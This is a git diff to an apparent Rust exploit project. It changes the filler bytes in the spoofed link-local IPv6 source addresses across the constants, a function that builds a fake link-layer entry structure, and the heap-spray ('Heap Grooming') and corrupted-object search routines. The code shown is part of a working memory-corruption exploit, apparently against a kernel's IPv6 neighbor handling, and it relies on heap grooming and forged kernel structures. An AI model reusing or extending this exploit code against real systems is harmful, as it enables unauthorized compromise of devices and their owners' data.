diff --git a/src/constants.rs b/src/constants.rs
index 18c4599..a00c4fa 100644
--- a/src/constants.rs
+++ b/src/constants.rs
@@ -83,5 +83,5 @@ pub const VM_PROT_ALL: u64 = VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE;
 
 pub const SOURCE_MAC: [u8; 6] = [0x41; 6];
 pub const SOURCE_IPV6: [u8; 16] = [
-    0xfe, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
+    0xfe, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9f, 0x9f, 0x41, 0xff, 0x9f, 0x9f, 0x41, 0xff,
 ];
diff --git a/src/exploit/exploit.rs b/src/exploit/exploit.rs
index af3767a..0cb361c 100644
--- a/src/exploit/exploit.rs
+++ b/src/exploit/exploit.rs
@@ -384,7 +384,7 @@ pub fn build_fake_lle(
     fake_lle.extend(&0u32.to_le_bytes()); // sin6_flowinfo
     let sin6_addr = 0xfe80000100000000u64.to_be_bytes();
     fake_lle.extend(&sin6_addr);
-    let sin6_addr_2 = 0x4141414141414141u64.to_be_bytes();
+    let sin6_addr_2 = 0x9f9f41ff9f9f41ffu64.to_be_bytes();
     fake_lle.extend(&sin6_addr_2);
     fake_lle.extend(&0u32.to_le_bytes()); // sin6_scope_id
 
diff --git a/src/exploit/utils.rs b/src/exploit/utils.rs
index 48f351e..88a24fb 100644
--- a/src/exploit/utils.rs
+++ b/src/exploit/utils.rs
@@ -96,7 +96,7 @@ pub fn search_for_corrupted_obj(
         if i >= constants::HOLE_START && i % constants::HOLE_SPACE == 0 {
             continue;
         }
-        let source_v6_string = format!("fe80::{:04x}:4141:4141:4141", i);
+        let source_v6_string = format!("fe80::{:04x}:41ff:9f9f:41ff", i);
         let source_v6: [u8; 16] = std::net::Ipv6Addr::from_str(&source_v6_string)
             .expect("Failed to parse IPv6 address")
             .octets();
@@ -134,7 +134,7 @@ pub fn spray(
         print!("\r[+] Heap Grooming at {}%", progress);
         io::stdout().flush().unwrap();
 
-        let source_v6_string = format!("fe80::{:04x}:4141:4141:4141", i);
+        let source_v6_string = format!("fe80::{:04x}:41ff:9f9f:41ff", i);
         let source_v6: [u8; 16] = std::net::Ipv6Addr::from_str(&source_v6_string)
             .expect("Failed to parse IPv6 address")
             .octets();